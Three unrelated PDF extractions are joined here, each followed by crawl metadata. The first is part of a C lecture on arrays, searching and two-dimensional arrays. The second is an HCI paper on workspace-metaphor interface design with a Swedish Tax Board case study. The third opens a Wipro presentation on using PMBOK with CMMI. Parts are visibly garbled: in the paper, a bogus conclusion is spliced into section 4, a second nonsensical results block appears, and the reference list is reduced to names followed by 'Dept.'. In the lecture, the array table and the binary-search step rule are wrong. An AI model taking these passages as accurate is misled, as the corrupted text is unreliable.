9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9
The median is element 49 of the sorted 99 element array.
For this run the median is 7
********
Mode
********
Response Frequency Histogram
1 1 2 2
5 0 5 0 5
1 1 *
2 3 ***
3 4 ****
4 5 *****
5 8 ********
6 9 *********
7 23 ***********************
8 27 ***************************
9 19 *******************
The mode is the most frequent value.
For this run the mode is 8 which occurred 27 times.
6.8 Searching Arrays: Linear Search and Binary Search
- Search an array for a key value
- Linear search
- Simple
- Compare each element of array with key value
- Useful for small and unsorted arrays
- Binary search
- For sorted arrays
- Compares middle element with key
- If equal, match found
- If key < middle, looks in first half of array
- If key > middle, looks in last half
- Repeat
- Very fast; at most \( n \) steps, where \( \log_2 \) number of elements
- 30 element array takes at most 5 steps
\( 2^{5} > 30 \)
6.9 Multiple-Subscripted Arrays
- Multiple subscripted arrays
- Tables with rows and columns (\( m \) by \( n \) array)
- Like matrices: specify row, then column
```
Row 0 | Column 1 | Column 2 | Column 3
-----|---------|---------|---------
Row 1 | a[0][1] | a[1][1] | a[2][1]
Row 2 | a[0][2] | a[1][2] | a[2][2] |
```
- Initialization
- \( \text{int } b[2][2] = \{ \{ 1, 2 \}, \{ 3, 4 \} \}; \)
- Initializers grouped by row in braces
- If not enough, unspecified elements zero
\( \text{int } b[2][2] = \{ \{ 1 \}, \{ 3, 4 \} \}; \)
- Referencing elements
- Specify row, then column
\( \text{printf("\%d", b[0][1]);} \)
Array passing rules
- The first subscript of a multiple-subscripted array is not required either
- But all subsequent subscripts are required
```c
/* Fig. 6.22: fig06_22.c */
/* Double subscripted array example */
#include <stdio.h>
#define STUDENTS 3
#define EXAMS 4
int minimum( const int grades[][ EXAMS ], int, int );
int maximum( const int grades[][ EXAMS ], int, int );
double average( const int grades[], int );
void printArray( const int grades[][ EXAMS ], int, int );
int main()
{...
```
Each row is a particular student, each column is the grades on the exam.
```c
12 int student;
13 for ( student = 0; student <= STUDENTS - 1; student++ )
14 printf( "The average grade for student %d is %.2f
", student, average( grades[ student ], EXAMS ) );
15 return 0;
16 }
17
18 /* Find the minimum grade */
int minimum( const int grades[][ EXAMS ], int pupils, int tests )
{...
```
```c
65 int i, total = 0;
66 for ( i = 0; i <= tests - 1; i++ )
67 total += grades[ i ];
68 return ( double ) total / tests;
69 }
70
71 /* Print the array */
void printArray( const int grades[][ EXAMS ], int pupils, int tests )
{...
```
```c
43 int student;
44 for ( student = 0; student <= STUDENTS - 1; student++ )
45 printf( "The average grade for student %d is %.2f
", student, average( grades[ student ], EXAMS ) );
46 return 0;
47 }
48
49 /* Find the maximum grade */
int maximum( const int grades[][ EXAMS ], int pupils, int tests )
{...
```
```c
91 return highGrade;
92 }
93
94 /* Determine the average grade for a particular exam */
double average( const int grades[], int tests )
{...
```
The array is:
<table>
<thead>
<tr>
<th></th>
<th>[0]</th>
<th>[1]</th>
<th>[2]</th>
<th>[3]</th>
</tr>
</thead>
<tbody>
<tr>
<td>studentGrades[0]</td>
<td>77</td>
<td>68</td>
<td>86</td>
<td>73</td>
</tr>
<tr>
<td>studentGrades[1]</td>
<td>96</td>
<td>87</td>
<td>89</td>
<td>78</td>
</tr>
<tr>
<td>studentGrades[2]</td>
<td>70</td>
<td>90</td>
<td>86</td>
<td>81</td>
</tr>
</tbody>
</table>
Content grade: 00
Student grade: 90
The average grade for student 0 is 76.00
The average grade for student 1 is 87.50
The average grade for student 2 is 81.75
|
{"Source-Url": "https://www.cs.ccu.edu.tw/~yschen/course/92-1/C_chap06.pdf", "len_cl100k_base": 4423, "olmocr-version": "0.1.53", "pdf-total-pages": 9, "total-fallback-pages": 0, "total-input-tokens": 22628, "total-output-tokens": 5216, "length": "2e12", "weborganizer": {"__label__adult": 0.0005021095275878906, "__label__art_design": 0.0003867149353027344, "__label__crime_law": 0.0003159046173095703, "__label__education_jobs": 0.004154205322265625, "__label__entertainment": 8.928775787353516e-05, "__label__fashion_beauty": 0.00019800662994384768, "__label__finance_business": 0.00013744831085205078, "__label__food_dining": 0.0005936622619628906, "__label__games": 0.0010347366333007812, "__label__hardware": 0.0016698837280273438, "__label__health": 0.0004608631134033203, "__label__history": 0.0002486705780029297, "__label__home_hobbies": 0.00013434886932373047, "__label__industrial": 0.0003650188446044922, "__label__literature": 0.0003561973571777344, "__label__politics": 0.0002574920654296875, "__label__religion": 0.00061798095703125, "__label__science_tech": 0.00623321533203125, "__label__social_life": 0.00013828277587890625, "__label__software": 0.0036678314208984375, "__label__software_dev": 0.97705078125, "__label__sports_fitness": 0.0003628730773925781, "__label__transportation": 0.0006880760192871094, "__label__travel": 0.00022161006927490232}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 12481, 0.06928]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 12481, 0.27572]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 12481, 0.58418]], "google_gemma-3-12b-it_contains_pii": [[0, 831, false], [831, 2169, null], [2169, 3441, null], [3441, 4225, null], [4225, 6582, null], [6582, 9245, null], [9245, 10485, null], [10485, 12119, null], [12119, 12481, null]], "google_gemma-3-12b-it_is_public_document": [[0, 831, true], [831, 2169, null], [2169, 3441, null], [3441, 4225, null], [4225, 6582, null], [6582, 9245, null], [9245, 10485, null], [10485, 12119, null], [12119, 12481, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, false], [5000, 12481, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 12481, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 12481, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 12481, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 12481, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 12481, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 12481, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 12481, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 12481, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, true], [5000, 12481, null]], "pdf_page_numbers": [[0, 831, 1], [831, 2169, 2], [2169, 3441, 3], [3441, 4225, 4], [4225, 6582, 5], [6582, 9245, 6], [9245, 10485, 7], [10485, 12119, 8], [12119, 12481, 9]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 12481, 0.01188]]}
|
olmocr_science_pdfs
|
2024-12-06
|
2024-12-06
|
e4b5eaa7701b7853f022cb419931ed1ff5864e30
|
Workspaces enhance efficiency – theories, concepts and a case study
Magnus Lif, Eva Olsson, Jan Gulliksen and Bengt Sandblad
Center for Human-Computer Studies, Uppsala University, Sweden
Keywords Metaphors, User studies, Interfaces, Design, Computer workstations
Abstract Traditional process-oriented system development methods often result in fragmentary user interfaces with information presented in various windows without considerations of requirements for simultaneous viewing. Opening, closing, moving and resizing these windows attracts the users' attention away from the actual work. User interface design according to the workspace metaphor could provide skilled professional users with an efficient, customised user interface to administrative information systems. This can improve work performance and facilitate efficient navigation between workspaces. A case study in co-operation with the Swedish National Tax Board (RSV) describes practical use of the workspace metaphor.
1. Introduction
In the recommendations by the International Standardisation Organisation (ISO 9241-11, 1998), usability is defined as the extent to which a product can be used by specified users to achieve specified goals with effectiveness, efficiency and satisfaction in a specified context of use. A general problem in the design of usable interfaces concerns how a large and complex information structure can be efficiently visualised on a relatively small computer screen. A common solution to the limited screen space problem is to divide an application into a large number of different windows, often hierarchically structured. A hierarchical application structure causes navigational difficulties; the user easily becomes lost in the information space (Woods and Watts, 1997). Interfaces where the users have to spend a lot of time rearranging windows instead of doing their actual work are unfortunately common (Gulliksen and Sandblad, 1995). To be able to design a usable interface it is essential to understand that the users' main interest is to perform their work, not to operate a computer. The computer system must support the user with appropriate sets of information that can be reached fast and with minimal cognitive effort.
The design of the user interface is especially important when developing information systems for skilled professionals (Nygren et al., 1992). Skilled users are often forced to use one particular support system and the efficiency of their work is strongly related to the usability of that system. Badly designed computer systems can cause mental stress, which in turn may contribute to musculoskeletal
This work was performed with financial support from the Swedish Council for Work Life Research (RALF), the Swedish National Board for Industrial and Technical Development (NUTEK), and in co-operation with the Swedish National Tax Board (RSV). All co-operation and contributions from project members are greatly appreciated.
problems (Smith and Carayon, 1993). Our research aims at identifying such
cognitive work environment problems, and to find solutions to them. These
problems are often specific to certain work domains. The design must therefore be
based on extensive domain knowledge and the user interface should be tailored to
support each category of users (Gulliksen and Sandblad, 1995).
In this paper, two main approaches to design will be discussed, a process-
oriented and a workspace-oriented approach. We mean that user interfaces
based on workspaces can support the skilled user more efficiently, especially in
administrative work domains.
2. Process-oriented versus workspace-oriented design
2.1. A process-oriented approach
Traditional systems development is usually performed with a process-oriented
approach. The users’ work is typically specified with a data model and a
definition of the processes, e.g. through a data flow diagram (DeMarco, 1978).
Usually a process corresponds to one function of the planned application. In
such methods there is seldom any suitable aid provided for developing
dialogue interfaces (Floyd, 1986), i.e. how to use the resulting models in the
design of the user interface. Recent object-oriented methodologies, such as
UML (Booch et al., 1997), do not give enough support for this process either.
Instead, the process-oriented approach invites the designer to create an
interface where each specified function corresponds to one or more windows.
Typical modelling and design work consist of the following steps:
- Specify the functions that involve interaction with a user.
- Define a structure for how the different functions can be accessed from
each other during the work process.
- Give each function its own, unique user interface (i.e. a window).
- Create a menu on the top level from which the user can access the
different functions.
With a process-oriented approach the application is the sum of all its functions
(Figure 1). The user interface contains all functions that all different users can
access in all different work situations. A user works with the application by
selecting among the desired functions in a menu or by navigating through the
structure of functions. Each function will have the same look and behaviour no
matter who accesses it, for what purpose it is accessed, or in which context it is
accessed.
There are some major problems associated with this approach:
- the design is not adapted to the users’ actual work tasks;
- the user has to spend time on opening, closing, moving and rearranging
windows while performing the work task; and
- the user often has to consult several different functions in order to
complete a certain work task.
In order to reach the desired functions, the user must understand and navigate a rather complex structure of windows and menus. The described way of working is inappropriate because it will cause unnecessary cognitive load. Parallel presentation of information is more efficient than sequential presentation (Lind, 1991).
It is easy to proceed from the process-oriented analysis to a multiple window design and the result will most likely be a fragmentary interface split into a large number of windows. Furthermore, to deal with an assignment, a user typically has to use more than one application, where each application has its own main window with accompanying secondary windows. In a large corporation where the applications have been developed in-house each application might in addition have its own unique look and feel. In order to overcome these problems a more appropriate metaphor has to be chosen.
2.2. A workspace-oriented approach
With a workspace-oriented approach the interface is designed to support categories of users in their different work situations (Lif, 1997). The main idea here is to support each category with a tailor-made interface that is complete with respect to information contents and tools for each of the different work situations in which the users can become involved.
Modelling and design according to the workspace-oriented approach means specifying, among other things, the following:
The workspace-oriented approach results in a design that is specifically tailored according to how the professionals actually perform their work. Each work situation corresponds to a workspace on the screen. A workspace is the user interface to a complete work situation. The relevant workspaces are made available for each category of users via a task panel. When a user has selected a workspace, the screen is "ready to use", without the need for further design actions, with respect to information and tool contents (Figure 2). The number of different workspaces (work situations) for a specific user is often relatively small; less than five or six should be sufficient for a user in the domains we have studied.
Administrative work, such as case handling (Gulliksen, 1996), often requires an overview of an extensive amount of information. The interface design must be as complete as possible in order to satisfy demands on simultaneous presentation of information. When all required information and all operations are gathered in one workspace it is easier for the user, frequent as well as novice, to immediately become oriented in the information space and get support for further actions. In addition each workspace must have a distinct layout well separated from others. This will help the user to recognise the workspace immediately, its contents and the included operations, when switching to another task. The workspace concept, as described here, would
Figure 2.
Each category of users can potentially perform work in one or more work situations. Each work situation corresponds to a workspace, i.e. an interface to the part of the information system that supports the work situation.
not only support the user while performing each work task, but also provide an overview and facilitate task switching.
We mean that using a workspace-oriented approach to design offers better possibilities to create an interface that supports the users in their work. We will now, in more detail, describe the workspace metaphor as an alternative to the desktop metaphor.
3. The workspace metaphor
The workspace metaphor is based on a framework for a multiple virtual workspace called the rooms design (Henderson and Card, 1986; Card and Henderson, 1987). The idea behind the rooms design is to provide the user with a number of screen-sized workspaces called rooms. Each room has a set of small icons ("doors"), used for navigation between rooms. Each room contains a number of windows that support the task to be performed in that room. A modified version of the rooms design is suggested here to replace the prevalent desktop metaphor for administrative information systems.
3.1. Work task and actor
An important concept related to the workspace metaphor is the work task. A work task in this context is defined as a continuous moment of work performed in order to reach a specific goal. Each work task includes a judgement process and is terminated by a decision. The interface must be structured according to the actual work tasks and how the users perform them. The analysis of the users work must not only cover all different aspects of the work tasks, but also identify the different actors and specify which tasks they perform. For a more thorough analysis of the concepts concerning work tasks and actors, see Gulliksen et al. (1997).
3.2. Workspace
Each workspace has to completely support one or more work tasks in order to relieve the user from having to switch to another workspace during a judgement process. A workspace can be thought of as a container enclosing the interface elements that hold the information needed while performing a work task. One specific interface element can appear in different workspaces since the same information, possibly viewed in different ways, may be required in many tasks. An element can for instance be presented in one workspace where the information is read-only and in another workspace the same information may be editable. The logical relations and the connections in time between the tasks define whether they should be performed in the same workspace or not.
An administrative work task can, for example, consist of the following actions:
- taking care of a newly arrived document;
- finding out that this document concerns a request for delay of the current case;
• analysing the arguments for the delay, checking current status and previous history;
• making a decision about the request, accepting it, rejecting it or requesting more information from the concerned part; and
• documenting the decision.
This work task has then been completed and the next task can be handled. Depending on the nature of other assignments connected to the same kind of case, additional tasks could be performed in the same workspace as well. The work is seldom performed in a perfect sequence from start to finish. Therefore, the user must always be able to interrupt and leave an ongoing work task in one workspace, and return later to complete the task.
3.3. Actor-workspace
The concept of actor (Jacobson et al., 1992) is used to describe different categories of users. Each workspace is especially designed to fulfill the requirements of a certain actor and has consequently a specific authority level. The contents and the layout will depend on the requirements of the intended actor. This implies that a workspace may admit or deny access to (show or hide) information depending on the authority of the current actor. A specific user can play the role of one or more actors. An actor will typically have access to a number of workspaces and use a few of them frequently.
The relations between the defined concepts are many-to-many, i.e. one actor can be engaged in several work situations, one work situation can consist of several work tasks. One work task can as well be a part of different work situations.
4. Designing a workspace
A basic idea with the workspace metaphor is that a professional user should be able to perform an entire work task in one workspace. The completion of a single task should not require switching between different workspaces. Each workspace must therefore be carefully designed to support the users in their work. We will here introduce some design heuristics to support the design of the workspace interface. The heuristics are especially important when designing according to the workspace metaphor, but most of them are also valid when designing for skilled users according to other metaphors.
4.1. Simultaneous presentation of information
During decision making, humans tend to omit information that is not immediately available (Tversky and Kahneman, 1974). To be able to make a proper judgement, the information must be simultaneously visible on the screen. However, a skilled user can easily overview a large set of familiar data (Nygren and Henriksson, 1992). According to our experience it is possible to present more information on the screen by using information coding and a careful spatial layout. Window-based information systems almost always occur as subwindows or windows within windows. This means that important information has to be presented as a sequence of frames in the hierarchy, i.e. three frames in the level hierarchy are presented simultaneously.
4.2. Operating environment
Each of these frames contains information on a specific kind of user. The environment is designed to support different kinds of work situations in different kinds of workspaces.
5. Conclusions
In conclusion, we have presented a metaphor for designing work systems. This is a rather general research area and the design heuristics are not meant to be applicable in all cases. However, we believe that the heuristics are applicable in situations where the design of the workspace is important.
This is especially true for those situations where the user is involved in work situations that are difficult for the user to handle (reduction of information overload).
occupy the screen with information irrelevant for the skilled professional, such as window frames. Windows tend to cover important information in other windows. Information presented on screens that can only be viewed in sequence has proved to be more cognitively demanding than information presented in parallel (Lind, 1991). The process of keeping decision-relevant information in the short-term memory is often disturbed when manoeuvring through the information space. Due to the advantages of simultaneously presented information, hierarchies should be avoided.
4.2. Support pattern recognition
Experienced users decode frequently occurring, meaningful patterns, quickly (Nygren et al., in press). If a set of variables always has the same properties (such as colour or shape and spatial location on the screen) global patterns may emerge over time that can be used to guide the users in the reading process. The decoding of patterns can be performed on an automatic cognitive level without interfering with processes performed on a conscious level.
4.3. Workspace contents
Each workspace must be especially equipped to supply the user with all information and every tool needed to perform all parts of the work task. This will render each workspace an obvious character that immediately reveals the kind of tasks that can be performed there, which facilitates recognition of the different workspaces. Some generic tools have to be available from any workspace (such as electronic mail, calculators, note pads), depending on the kind of activities performed in the current environment.
5. A case study
In our co-operation with the Swedish National Tax Board (RSV) the workspace metaphor has been implemented to facilitate case handling. Characteristic for case handling is that a lot of information from different sources has to be gathered and verified to enable a correct decision. Traditionally, the users have performed their work by interacting with several different applications. In this case study the purpose was to create one application in which each user has access to different workspaces tailored for each work situation, as defined by the workspace metaphor.
The work situations to be supported by the future system were specified in the analysis of the users’ work. Each such work situation corresponds to a workspace in the user interface. The users of the system have various authorities, therefore the individual number of required workspaces differ.
The different workspaces were designed and implemented by different groups of software engineers. The choice of development tool differed between the groups. The application was designed for a PC with a 17-inch screen (resolution = 1024 x 768).
Figure 3 shows a typical workspace included in the system. All information and every tool needed for the judgement and decision-making process are
available in the workspace. Every interface element included in the workspace has its fixed position on the screen. The left side of the display shows a ledger that contains information about all previous events and decisions concerning a case. This ledger provides a direct index to previous decisions. An overview is shown for the case as well as facilities for making a decision on how to handle the current matter.
Switching between workspaces is enabled through a task panel (to the upper right), either permanently visible, or hidden and occurring upon demand. The contents in the task panel depend on the users' authorities. Each workspace can be selected directly via the task panel. A workspace is represented with an icon and a short explanation (tool tip).
5.1. Method
The first version of the system was evaluated with a heuristic approach (Nielsen and Molich, 1990). Three HCI researchers, with limited domain knowledge, and five work activity professionals, evaluated the user interface. Each evaluation was performed individually. The heuristics used in the evaluation were specified by the authors in co-operation with the person responsible for usability issues at the Swedish National Tax Board.

The display shows a workspace from the application. It has been selected from the task panel to the right.
5.2. Results
Some people identified errors.
Task: and interaction calls are possible.
Main window: the graph can sometimes be canceled.
Work: could not be performed.
5.3. Conclusion
Some problems in mixing tasks in a sequence may be detected.
Other problems may be very difficult to identify. Immediate feedback is needed to analyze the decisions between workspaces.
The display could implement them, and they are difficult to interpret in work. The use of a visual interface detected and enhanced the effectiveness.
6. Discussion
The interface is a representation.
5.2. Results
Some problems related to the implementation of the workspace metaphor were identified in the evaluation. The most important findings are listed below:
Task switching. Sometimes it is necessary to interrupt an ongoing work task and initiate a new task before a decision has been made, e.g. when a customer calls and needs immediate service. In this version of the system this was not possible unless the current task was either completed or postponed.
Mainframe systems. To get access to and change information stored in older mainframe systems the user had to start a new application in a separate window on top of the current workspace. The content of this window was not graphical and it was handled differently from that in the ordinary workspace.
Lack of information. Sometimes important information was hidden and sometimes it was not even possible to view the required information without cancelling the current work task.
Workspace character. It was difficult to recognise which kind of work tasks could be performed in a workspace. Furthermore, the layout of many of the workspaces was too similar, which made them difficult to distinguish.
5.3. Comments on the Results
Some of the problems described above can be explained by the difficulties in mixing old systems with new ones. Placing information from the older system in a separate window, on top of the current workspace, will most likely lead to problems since the user is then unable to view all information needed for a decision simultaneously.
Other problems concern the analysis of the users' work. The analysis has to be very thorough in order to avoid usability problems later on (indeed this should be the case independent of the choice of system metaphor). This puts immense demands on the analysis team in order to reach a level where all needed information, for certain, is supplied within a workspace. An incomplete analysis could for instance cause a situation where the user has to switch between workspaces in order to perform a task, which makes the produced workspaces just as inadequate as an application using multiple windows.
The problems detected in the evaluation point out potential pitfalls in the implementation of the workspace metaphor in a computer system. Most of them occurred because of technical limitations, insufficient task analysis and difficulties in understanding the users' needs. They did not depend on the workspace metaphor itself. In this case study we have only been able to analyse the use of the workspace metaphor in a first version of the system. Some of the detected problems will be dealt with in later versions. In the future we will see the effects of long time use.
6. Discussion
The limited screen space is one of the major obstacles when designing information systems for administrative work. The workspace metaphor represents an interesting approach to solve some of the basic design problems,
such as task switching and visualisation of large and complex information structures onto the limited screen space. Based on basic principles of the room metaphor as presented in Card and Henderson (1987) and Henderson and Card (1986) we have developed a structure for a workspace oriented design methodology. Our ambition has been to create a framework for design that easily can be implemented using most commercial development tools.
Implementing the workspace metaphor puts new demands on the software engineers. It is difficult for developers familiar with the ordinary desktop with multiple windows to immediately adapt to the workspace metaphor. Nielsen et al. (1992) have discussed similar problems in a survey where software engineers were taught object-oriented design. They conclude that experience is needed and advice from specialists is useful. We believe that the workspace metaphor could be adopted more readily if the developers were supported by methods for analysis that capture aspects directly applicable in the design of the user interface. In order to utilise fully the advantages of the metaphor, the design work should be based on an object oriented system development method. The workspace metaphor is well suited to work in conjunction with the use-case approach (Jacobson et al., 1992) and user interface modelling (Lif, 1997).
The design of a workspace must be elaborate. It is not sufficient to make sure everything needed is there and leave the final layout to the user. This kind of design almost always ends up with a work situation where the user constantly has to rearrange the contents of the workspace in order to display the information needed for the moment. Frequently needed information must be structured in a way that facilitates retrieval. The design requirements stated here might seem contradictory compared to a changing work situation. Even though a perfected design is desired, it must at the same time be possible to let the application evolve in time and grow with the work task that inevitably will change over the coming years. A modular way of thinking is required, otherwise the application will soon be outdated. Consequently the objects in a workspace must be easy to replace and it must be possible to append new elements. New methods or services must be possible to add without disturbing the previous structure of a workspace.
An information system designed according to the workspace metaphor can work more efficiently if all of the users' applications are workspace oriented. Achieving this is a matter of supervisory status, a strategic issue. One way of accomplishing this is by including the workspace metaphor in a corporate style guide. This can be done according to the theories of domain specific design, that is with the use of a domain specific style guide as a basis for making the design decisions (Gulliksen and Sandblad, 1995; Borålv et al., 1994).
The workspace metaphor has been applied in several research projects (e.g. Borålv et al., 1994; Borålv and Göransson, 1997). It has been used to a wider extent at the Swedish National Tax Board where descriptions on its application and functionality have been specified in the organisation's domain specific style guide.
References
Borålv, E.: Dept.
Heinrich, E.: Dept.
Card, S.: Dept.
DeMarzo, C.: Dept.
Floyd, C. and Smith, J.: Dept.
Gulliksen, J.: Dept.
Gulliksen, J.: Dept.
Henderson, S.: Dept.
ESODIS
Jacobson, I.: Dept.
Lif, M.: Dept.
Nielsen, J.: Dept.
Nielsen, J. et al.
The full implementation of the workspace metaphor in a large organisation, with requirements on high performance and compatibility with other systems, can be problematic. However, it has the potential of solving many of the basic problems encountered when designing complex computer support systems.
References
|
{"Source-Url": "http://www.it.uu.se/edu/course/homepage/hcinet/ht03/library/docs/workspaces_100.pdf", "len_cl100k_base": 5124, "olmocr-version": "0.1.50", "pdf-total-pages": 11, "total-fallback-pages": 0, "total-input-tokens": 11907, "total-output-tokens": 6680, "length": "2e12", "weborganizer": {"__label__adult": 0.0007967948913574219, "__label__art_design": 0.051727294921875, "__label__crime_law": 0.0008006095886230469, "__label__education_jobs": 0.0179901123046875, "__label__entertainment": 0.0003190040588378906, "__label__fashion_beauty": 0.0004742145538330078, "__label__finance_business": 0.001308441162109375, "__label__food_dining": 0.0007615089416503906, "__label__games": 0.0010852813720703125, "__label__hardware": 0.003299713134765625, "__label__health": 0.0010442733764648438, "__label__history": 0.001270294189453125, "__label__home_hobbies": 0.0003540515899658203, "__label__industrial": 0.001590728759765625, "__label__literature": 0.001422882080078125, "__label__politics": 0.0004820823669433594, "__label__religion": 0.00125885009765625, "__label__science_tech": 0.165771484375, "__label__social_life": 0.00021266937255859375, "__label__software": 0.048431396484375, "__label__software_dev": 0.69775390625, "__label__sports_fitness": 0.0003437995910644531, "__label__transportation": 0.0011758804321289062, "__label__travel": 0.0004088878631591797}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 29868, 0.0204]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 29868, 0.33816]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 29868, 0.92663]], "google_gemma-3-12b-it_contains_pii": [[0, 2962, false], [2962, 5678, null], [5678, 7108, null], [7108, 8809, null], [8809, 11440, null], [11440, 15079, null], [15079, 17951, null], [17951, 19865, null], [19865, 22801, null], [22801, 26394, null], [26394, 29868, null]], "google_gemma-3-12b-it_is_public_document": [[0, 2962, true], [2962, 5678, null], [5678, 7108, null], [7108, 8809, null], [8809, 11440, null], [11440, 15079, null], [15079, 17951, null], [17951, 19865, null], [19865, 22801, null], [22801, 26394, null], [26394, 29868, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 29868, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 29868, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 29868, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 29868, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 29868, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 29868, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 29868, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 29868, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 29868, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 29868, null]], "pdf_page_numbers": [[0, 2962, 1], [2962, 5678, 2], [5678, 7108, 3], [7108, 8809, 4], [8809, 11440, 5], [11440, 15079, 6], [15079, 17951, 7], [17951, 19865, 8], [19865, 22801, 9], [22801, 26394, 10], [26394, 29868, 11]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 29868, 0.0]]}
|
olmocr_science_pdfs
|
2024-11-29
|
2024-11-29
|
54cd36bfc000bf76c37e3d15eda4419e22562ffb
|
Implementation of PMBOK along with CMMI – QCG Experience
*International SEPG Conference 2007*
*Austin, USA*
Presentation By
Sharma Sriram & Bansi Mohan Rath
Quality Consulting Group
Wipro Technologies
Contents
- Introduction
- List of acronyms used in the presentation
- Background to the Process Solution
- Comparative analysis between PMBOK and CMMI
- Advantage of adopting PMBOK
- Challenges faced and Aspects considered for Process Solution
- Process Solution Approach
- Overall Process Architecture
- Process Architecture
- Results and Benefits
- Acknowledgements
### Wipro Technologies – Facts & Figures
**Sustained growth**
- CAGR of 42% in last 5 years
- Part of NYSE’s TMT (Technology–Media–Telecom) Index, NSE Nifty Index and BSE Sensex
**Partner to industry leaders and challengers**
- 89 global 500 clients
- 151 clients among Forbes 2000
**Global footprint**
- Listed on NYSE
- 35 countries
- ~6000 employees onsite across Geos
- 10 near shore development centers
**Diverse talent pool**
- 23 Nationalities
- 2000 domain consultants
- 7 major acquisitions since 2003
<table>
<thead>
<tr>
<th>Revenues</th>
<th>Clients</th>
<th>Global Development Centers</th>
<th>Employees ‘000s</th>
</tr>
</thead>
<tbody>
<tr>
<td>234</td>
<td>150</td>
<td>14</td>
<td>8</td>
</tr>
<tr>
<td>384</td>
<td>217</td>
<td>22</td>
<td>10</td>
</tr>
<tr>
<td>475</td>
<td>226</td>
<td>26</td>
<td>13</td>
</tr>
<tr>
<td>625</td>
<td>288</td>
<td>28</td>
<td>19</td>
</tr>
<tr>
<td>934</td>
<td>339</td>
<td>34</td>
<td>29</td>
</tr>
<tr>
<td>1354</td>
<td>421</td>
<td>40</td>
<td>42</td>
</tr>
<tr>
<td>2200+</td>
<td>485</td>
<td>50</td>
<td>51</td>
</tr>
</tbody>
</table>
*Ranked leader by IDC, MetaGroup, Forrester – 2004
Awarded the highest rating in Stakeholder Value Creation & Corporate Governance by ICRA, an Associate of Moody’s Investor Services
Wipro Quality Consulting Group
A specialist group: Wipro Quality Consulting Group (QCG)
- A 150+ member practice
- Client base of 60 with over 130+ different assignments being executed till date
- Translates to over million hours of consulting experience
Help clients reap the benefits of deploying process improvement initiatives
Quality Consulting – Value add to the customer
- Facilitate SPI (Software Process Improvement) initiatives to align with the business objectives
- Improve client’s project delivery process
- Bring quick and quantifiable improvements in all areas of project performance
- Act as partner in clients SPI initiative
The Wipro quality consultants
- Facilitate the building of a shared vision
- Chart out a detailed road map and set milestones for achievement of the vision
- Deploy the vision along with the client team
- Add value through their experience, insights and analysis
A consultative and collaborative approach – we walk the talk
<table>
<thead>
<tr>
<th>Process Optimization</th>
<th>IT Governance</th>
<th>Software Engineering Processes</th>
<th>Infrastructure Processes</th>
</tr>
</thead>
<tbody>
<tr>
<td>CMMI / SPICE / Prince II</td>
<td>ITIL Process Consulting</td>
<td>BCP / DR Process Consulting</td>
<td></td>
</tr>
<tr>
<td>IT Service Support</td>
<td>IT Service Delivery</td>
<td></td>
<td></td>
</tr>
<tr>
<td>SCRM</td>
<td>SQA</td>
<td></td>
<td></td>
</tr>
<tr>
<td>RUP / Agile / RAD</td>
<td>BS 15000 / 20000</td>
<td></td>
<td></td>
</tr>
<tr>
<td>BS 7799 / ISO 17799</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Six Sigma & Lean for continuous improvement and optimization
- Six Sigma & Lean for continuous improvement and optimization
- CMMI / SPICE / Prince II
- ITIL Process Consulting
- BCP / DR Process Consulting
- BS 15000 / 20000
- BS 7799 / ISO 17799
List of acronyms used in the presentation
- **PQMS** – Process Quality Management System which is old version of quality management system for the organization
- **CMMI**®– Capability Maturity Model® Integration (CMMI) is a process improvement approach developed by SEI
- **SCAMPI**SM–C– Standard CMMI Appraisal Method for Process Improvement–Class C Appraisal
- **SEI**– Software Engineering Institute, Carnegie Mellon® University
All trademarks and Service Marks acknowledged
Background to the Process Solution
- Senior Management of a major finance organization, CREDIT SUISSE IT PB Region Switzerland, decided to implement industry best practices for project management practices and selected PMBOK
- Before this decision, Project Management Expert Team in the organization had conceptualized Project Management Process solution based on PMBOK as a part of PQMS and developed a prototype
- Reason behind such decision by Senior Management was
- PMBOK implementation with CMMI would bring "one of it's kind" of process solutions
- PMBOK implementation along with CMMI would get acceptance from Project Managers from the organization
- Wipro QCG is currently involved in supporting process definition and implementation for ongoing CMMI initiative
